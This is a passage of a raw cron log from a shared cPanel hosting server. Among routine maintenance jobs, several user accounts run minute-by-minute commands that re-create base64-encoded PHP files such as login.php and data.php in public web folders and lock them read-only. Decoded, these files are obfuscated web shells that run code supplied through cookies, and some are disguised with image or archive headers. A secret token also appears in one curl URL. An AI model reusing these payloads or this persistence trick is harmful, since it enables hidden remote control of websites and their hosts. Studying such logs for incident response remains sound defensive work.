gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:38:01 medusa CROND[17555]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:38:01 medusa CROND[17556]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:38:01 medusa CROND[17564]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:38:01 medusa CROND[17566]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:38:01 medusa CROND[17568]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:39:01 medusa CROND[19095]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 08:39:01 medusa CROND[19096]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:39:01 medusa CROND[19097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:39:01 medusa CROND[19098]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:39:01 medusa CROND[19099]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:39:01 medusa CROND[19101]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:39:01 medusa CROND[19100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:39:01 medusa CROND[19102]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:39:01 medusa CROND[19103]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:39:01 medusa CROND[19104]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:39:01 medusa CROND[19105]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:39:01 medusa CROND[19107]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:39:01 medusa CROND[19109]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:39:01 medusa CROND[19116]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:40:01 medusa CROND[20827]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 08:40:01 medusa CROND[20839]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:40:01 medusa CROND[20840]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:40:01 medusa CROND[20841]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:40:01 medusa CROND[20842]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:40:01 medusa CROND[20843]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:40:01 medusa CROND[20844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:40:01 medusa CROND[20845]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:40:01 medusa CROND[20846]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:40:01 medusa CROND[20850]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:40:01 medusa CROND[20851]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:40:01 medusa CROND[20853]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:40:01 medusa CROND[20855]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:40:01 medusa CROND[20857]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:40:01 medusa CROND[20859]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 08:40:01 medusa CROND[20860]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:40:01 medusa CROND[20862]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 08:40:01 medusa CROND[20858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
